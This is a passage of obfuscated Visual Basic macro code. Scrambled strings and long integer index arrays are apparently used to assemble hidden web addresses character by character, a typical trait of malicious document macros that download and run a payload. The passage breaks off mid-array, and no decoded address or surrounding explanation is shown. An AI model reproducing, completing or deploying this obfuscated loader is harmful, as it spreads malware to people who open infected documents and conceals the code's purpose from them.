VbMtXqw = "mBrddztgRgSnWiRfHmnnMzkQLQppUpKQQtSrKdVkHKLvndgQKgmFlOUysspIIDnWqTtASQ-Ao/VLgbyRHrmferdfCBXhFkBqajHUAZFdJCWrQcvItsdLksJtdfSnIZ8/paWavmiYDPafxstdp0grHHsCk.FUGzlpVEZLNnSjpWfsThaoOFekiTgqeaLRgyeKozwukXw:vKsrvYOhKnXnWtTO/iBh/lNtI/LCxcizzCqlZITFQTe"
Rzs(0) = 92
Rzs(1) = 7
Rzs(2) = 7
Rzs(3) = 27
Rzs(4) = 200
Rzs(5) = 74
Rzs(6) = 74
Rzs(7) = 8
Rzs(8) = 4
Rzs(9) = 110
Rzs(10) = 8
Rzs(11) = 3
Rzs(12) = 73
Rzs(13) = 196
Rzs(14) = 27
Rzs(15) = 154
Rzs(16) = 44
Rzs(17) = 12
Rzs(18) = 74
Rzs(19) = 195
Rzs(20) = 27
Rzs(21) = 71
Rzs(22) = 97
Rzs(23) = 4
Rzs(24) = 1
Rzs(25) = 14
Rzs(26) = 12
Rzs(27) = 74
Rzs(28) = 146
Rzs(29) = 14
Rzs(30) = 27
Rzs(31) = 13
Rzs(32) = 21
Rzs(33) = 24
Rzs(34) = 136
Rzs(35) = 8
Rzs(36) = 8
Rzs(37) = 25
Rzs(38) = 54
Rzs(39) = 62
Rzs(40) = 127
Rzs(41) = 13
Rzs(42) = 97
Rzs(43) = 16
Rzs(44) = 74
Rzs(45) = 23
Rzs(46) = 211
Rzs(47) = 197
Rzs(48) = 86
Rzs(49) = 135
Rzs(50) = 215
Rzs(51) = 30
Rzs(52) = 142
Rzs(53) = 145
Rzs(54) = 155
Rzs(55) = 123
Rzs(56) = 0
Rzs(57) = 52
Rzs(58) = 181
Rzs(59) = 76
Rzs(60) = 101
Rzs(61) = 159
Rzs(62) = 68
Rzs(63) = 2
Rzs(64) = 141
Rzs(65) = 3
Rzs(66) = 112
Rzs(67) = 118
Rzs(68) = 151
Rzs(69) = 233
Rzs(70) = 207
Rzs(71) = 36
Rzs(72) = 65
Rzs(73) = 230
Rzs(74) = 185
Rzs(75) = 128
Rzs(76) = 57
Rzs(77) = 84
Rzs(78) = 191
Rzs(79) = 155
Rzs(80) = 170
Rzs(81) = 126
Rzs(82) = 109
Rzs(83) = 187
Rzs(84) = 121
Rzs(85) = 161
Rzs(86) = 36
Rzs(87) = 201
Rzs(88) = 36
Rzs(89) = 186
Rzs(90) = 39
Rzs(91) = 200
Rzs(92) = 158
Rzs(93) = 92
Rzs(94) = 31
Rzs(95) = 132
JbJVGAP = CKIZzJwD(VbMtXqw, Rzs, WMvhhBLQ)
Dim goGuJlm As String
Dim ZcfzhfpR As String
Dim srFHWDm(97) As Long
Dim zSOFg As Long
zSOFg = 54
ZcfzhfpR = "ya.UTNmriPJizJYqturSmkpSSTiwz/OoqbdJmHKziinARcToihjbOAVMuapLPrgdRvWdosaQunSswxtVslfbVBhxvATLwUmlZMjbaEMJvhEei-QHWtlj:xvJRiavgGGqRzCqryDmIkitaKGuntnVSiAIVhwiVEyPUla/OV8DxMrCtNj/kJtIGMnmDtHsiKSaS/iIkyyElNacxCePnNqoNjroFIxRhlkvlaw/bVrwahSnCOibHTTdbnTfcUoQiCUExshaYjKsbJFJpqhFKyXOGphZXCVgsZuALeki"
srFHWDm(0) = 50
srFHWDm(1) = 17
srFHWDm(2) = 17
srFHWDm(3) = 23
srFHWDm(4) = 70
srFHWDm(5) = 117
srFHWDm(6) = 30
srFHWDm(7) = 30
srFHWDm(8) = 70
srFHWDm(9) = 2
srFHWDm(10) = 46
srFHWDm(11) = 50
srFHWDm(12) = 9
srFHWDm(13) = 43
srFHWDm(14) = 9
srFHWDm(15) = 43
srFHWDm(16) = 17
srFHWDm(17) = 108
srFHWDm(18) = 8
srFHWDm(19) = 43
srFHWDm(20) = 2
srFHWDm(21) = 17
srFHWDm(22) = 9
srFHWDm(23) = 32
srFHWDm(24) = 43
srFHWDm(25) = 2
srFHWDm(26) = 82
srFHWDm(27) = 3
srFHWDm(28) = 46
srFHWDm(29) = 32
srFHWDm(30) = 7
srFHWDm(31) = 30
srFHWDm(32) = 28
srFHWDm(33) = 23
srFHWDm(34) = 110
srFHWDm(35) = 2
srFHWDm(36) = 35
srFHWDm(37) = 7
srFHWDm(38) = 9
srFHWDm(39) = 43
srFHWDm(40) = 30
srFHWDm(41) = 137
srFHWDm(42) = 60
srFHWDm(43) = 55
srFHWDm(44) = 135
srFHWDm(45) = 43
srFHWDm(46) = 82
srFHWDm(47) = 7
srFHWDm(48) = 137
srFHWDm(49) = 44
srFHWDm(50) = 5
srFHWDm(51) = 34
srFHWDm(52) = 167
srFHWDm(53) = 30
srFHWDm(54) = 274
srFHWDm(55) = 279
srFHWDm(56) = 156
srFHWDm(57) = 39
srFHWDm(58) = 174
srFHWDm(59) = 91
srFHWDm(60) = 264
srFHWDm(61) = 63
srFHWDm(62) = 267
srFHWDm(63) = 280
srFHWDm(64) = 239
srFHWDm(65) = 137
srFHWDm(66) = 270
srFHWDm(67) = 225
srFHWDm(68) = 170
srFHWDm(69) = 271
srFHWDm(70) = 167
srFHWDm(71) = 191
srFHWDm(72) = 205
srFHWDm(73) = 265
srFHWDm(74) = 117
srFHWDm(75) = 230
srFHWDm(76) = 178
srFHWDm(77) = 31
srFHWDm(78) = 72
srFHWDm(79) = 214
srFHWDm(80) = 208
srFHWDm(81) = 283
srFHWDm(82) = 51
srFHWDm(83) = 22
srFHWDm(84) = 284
srFHWDm(85) = 173
srFHWDm(86) = 264
srFHWDm(87) = 247
srFHWDm(88) = 28
srFHWDm(89) = 63
srFHWDm(90) = 126
srFHWDm(91) = 113
srFHWDm(92) = 276
srFHWDm(93) = 199
…